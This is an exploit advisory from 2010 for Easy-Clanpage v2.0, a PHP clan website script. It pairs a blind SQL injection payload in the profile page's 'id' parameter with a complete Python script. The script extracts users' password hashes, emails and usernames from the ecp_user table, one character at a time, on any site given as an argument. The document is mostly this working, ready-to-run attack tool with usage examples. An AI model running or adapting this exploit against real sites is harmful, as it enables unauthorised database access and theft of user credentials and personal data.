Easy-Clanpage 2.0 Profile Page SQL Injection

`----------------------------Information------------------------------------------------  
+Name : Easy-Clanpage <= v2.0 Blind SQL Injection Exploit  
+Autor : Easy Laster  
+Date : 24.03.2010  
+Script : Easy-Clanpage v2.0  
+Download : http://www.easy-clanpage.de/?section=downloads&action=viewdl&id=12  
+Demo : http://capu87.ca.funpic.de/  
+Price : for free  
+Language : PHP  
+Discovered by Easy Laster  
+Security Group 4004-Security-Project  
+Greetz to Team-Internet ,Underground Agents  
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,  
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,  
N00bor,Ic3Drag0n,novaca!ne.  
  
---------------------------------------------------------------------------------------  
  
___ ___ ___ ___ _ _ _____ _ _   
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_   
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|  
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|   
|___| |___|   
  
  
----------------------------------------------------------------------------------------  
+Vulnerability : http://localhost/ecp_version2/?section=user&action=details&func=stats&id=  
  
#BLind SQL Injection   
+Exploitable : http://localhost/ecp_version2/?section=user&action=details&func=stats&id=  
1+and+1=1+and+ascii(substring((SELECT password FROM ecp_user+WHERE+userID=1 LIMIT 0,1),1,1))>1  
-----------------------------------------------------------------------------------------  
#Blind SQL Injection Exploit  
  
#!/usr/bin/env python  
#-*- coding:utf-8 -*-  
import sys, urllib2, getopt  
  
def out(str):  
sys.stdout.write(str)  
sys.stdout.flush()  
  
class Exploit:  
charset = "0123456789abcdefABCDEF"  
url = ""  
charn = 1  
id = 1  
table_prefix = ""  
table_field = ""  
passwd = ""  
columns = []  
find_passwd = True  
  
def __init__(self):  
if len(sys.argv) < 2:  
print "*****************************************************************************"  
print "******************** Easy-Clanpage V2.0 Profil Page Hack ********************"  
print "*****************************************************************************"  
print "* Discovered and vulnerability by Easy Laster *"  
print "* coded by Dr.ChAoS *"  
print "*****************************************************************************"  
print "* Usage: *"  
print "* python exploit.py [OPTION...] [SWITCH...] <url> *"  
print "* *"  
print "* Example: *"  
print "* *"  
print "* Get the password of the user with id 2: *"  
print "* python exploit.py -id 2 http://site.de/ecp/ *"  
print "* *"  
print "* Get email and username of id 1: *"  
print "* python exploit.py -columns 80:email,25:username -nopw http://site.de/ecp/ *"  
print "* *"  
print "* Switches: *"  
print "* --nopw Search no password *"  
print "* *"  
print "* Options: *"  
print "* --id=<user id> User id *"  
print "* --prefix=<table prefix> Table prefix of ECP *"  
print "* --columns=<max_chars:column_name,...> Get value of any column you want *"  
print "*****************************************************************************"  
exit()  
opts, switches = getopt.getopt(sys.argv[1:], "", ["id=", "prefix=", "columns=", "nopw"])  
for opt in opts:  
if opt[0] == "--id":  
self.id = int(opt[1])  
elif opt[0] == "--prefix":  
self.table_prefix = opt[1]  
elif opt[0] == "--columns":  
for col in opt[1].split(","):  
max, name = col.split(":")  
self.columns.append([max, name, ""])  
elif opt[0] == "--nopw":  
self.find_passwd = False  
for switch in switches:  
if switch[:4] == "http":  
if switch[-1:] == "/":  
self.url = switch  
else:  
self.url = switch + "/"  
def generate_url(self, ascii):  
return self.url + "index.php?section=user&action=details&func=stats&id=1+and+1=1+and+ascii(substring((SELECT%20" + self.table_field + "%20FROM%20" + self.table_prefix + "ecp_user%20WHERE%20userID=" + str(self.id) + "%20LIMIT%200,1)," + str(self.charn) + ",1))%3E" + str(ord(ascii))  
def start(self):  
print "Exploiting..."  
if self.find_passwd:  
self.password()  
if len(self.columns) > 0:  
self.read_columns()  
print "All finished!\n"  
print "------ Results ------"  
if len(self.columns) > 0:  
for v in self.columns:  
print "Column \"" + v[1] + "\": " + v[2]  
if self.find_passwd:  
if len(self.passwd) == 32:  
print "Password: " + self.passwd  
else:  
print "Password not found!"  
print "--------------------"  
def read_columns(self):  
end = False  
charrange = [0]  
charrange.extend(range(32, 256))  
for i in range(len(self.columns)):  
out("Getting value of \"" + self.columns[i][1] + "\": ")  
self.table_field = self.columns[i][1]  
for pwc in range(1, int(self.columns[i][0]) + 1):  
if end == True:  
break  
self.charn = pwc  
end = False  
for c in charrange:  
src = urllib2.urlopen(self.generate_url(chr(c))).read()  
if "<b>Warning</b>: mysql_result() [" in src:  
if c == 0:  
end = True  
else:  
self.columns[i][2] += chr(c)  
out(chr(c))  
break  
out("\n")  
def password(self):  
out("Getting password: ")  
self.table_field = "password"  
for pwc in range(1, 33):  
self.charn = pwc  
for c in self.charset:  
src = urllib2.urlopen(self.generate_url(c)).read()  
if "<b>Warning</b>: mysql_result() [" in src:  
self.passwd += c  
out(c)  
break  
out("\n")  
  
exploit = Exploit()  
exploit.start()  
`